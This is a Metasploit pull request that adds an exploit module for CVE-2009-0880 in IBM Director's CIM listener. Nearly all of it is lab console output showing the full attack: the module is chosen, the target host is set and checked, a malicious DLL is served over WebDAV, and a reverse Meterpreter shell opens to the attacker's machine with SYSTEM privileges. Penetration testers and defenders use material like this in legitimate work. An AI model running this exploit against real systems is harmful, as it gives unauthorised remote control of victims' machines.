rapid7/metasploit-framework — pull request #1134 by jvazquez-r7 (2012-12-06 15:44:33+00:00)
Title: Added module for CVE-2009-0880

As exploited by kcope on December 2012

msf > use exploit/windows/misc/ibm_director_cim_dllinject
msf exploit(ibm_director_cim_dllinject) > set rhost 192.168.1.132
rhost => 192.168.1.132
msf exploit(ibm_director_cim_dllinject) > check

[*] 192.168.1.132:6988 - Checking if CIMListener exists...
[*] The target appears to be vulnerable.
msf exploit(ibm_director_cim_dllinject) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444
[*] 192.168.1.132:6988 - Injecting DLL...
msf exploit(ibm_director_cim_dllinject) > [*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.1.129:80/
[*] Server started.
[*] 192.168.1.132 ibm_director_cim_dllinject - Request for "/" does not contain a sub-directory, redirecting to /uHgi9jGd/ ...
[*] 192.168.1.132 ibm_director_cim_dllinject - Responding to WebDAV OPTIONS request
[*] 192.168.1.132 ibm_director_cim_dllinject - Request for "/jlH" does not contain a sub-directory, redirecting to /jlH/ ...
[*] 192.168.1.132 ibm_director_cim_dllinject - Received WebDAV PROPFIND request
[*] 192.168.1.132 ibm_director_cim_dllinject - Sending directory multistatus for /jlH/ ...
[*] 192.168.1.132 ibm_director_cim_dllinject - Received WebDAV PROPFIND request
[*] 192.168.1.132 ibm_director_cim_dllinject - Sending 404 for /jlH/HMr.dll.conf ...
[*] 192.168.1.132 ibm_director_cim_dllinject - Received WebDAV PROPFIND request
[*] 192.168.1.132 ibm_director_cim_dllinject - Sending DLL multistatus for /jlH/HMr.dll.dll ...
[*] 192.168.1.132 ibm_director_cim_dllinject - Responding to GET request /jlH/HMr.dll.dll
[*] 192.168.1.132 ibm_director_cim_dllinject - Sending DLL
[*] Sending stage (752128 bytes) to 192.168.1.132
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.132:1101) at 2012-12-06 16:40:49 +0100

msf exploit(ibm_director_cim_dllinject) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.132 - Meterpreter session 1 closed. Reason: User exit